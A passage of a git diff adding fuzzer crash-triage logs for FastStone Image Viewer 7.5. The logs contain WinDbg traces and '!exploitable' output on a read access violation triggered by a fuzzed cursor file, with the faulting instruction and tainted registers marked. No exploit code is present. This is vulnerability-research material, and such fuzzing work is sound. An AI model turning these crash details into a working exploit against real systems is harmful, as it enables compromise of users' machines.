+WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0025c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0025c000 f263bc90 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ac 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0025c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f0a7ca5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/44712/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..94f71f2 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..1358dbf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CD0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CD0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1cd0.8ec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f97b10 edx=00003879 esi=12738f10 edi=07dc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.774824048985130080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.363652100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.3219e-031 1.73587e+028 5.17119e-028 -4.84412e+029 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08078130 07ff5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00335000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00335000 62683d09 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6292 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00335000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..1358dbf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/46226/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CD0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CD0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1cd0.8ec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f97b10 edx=00003879 esi=12738f10 edi=07dc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.774824048985130080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.363652100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 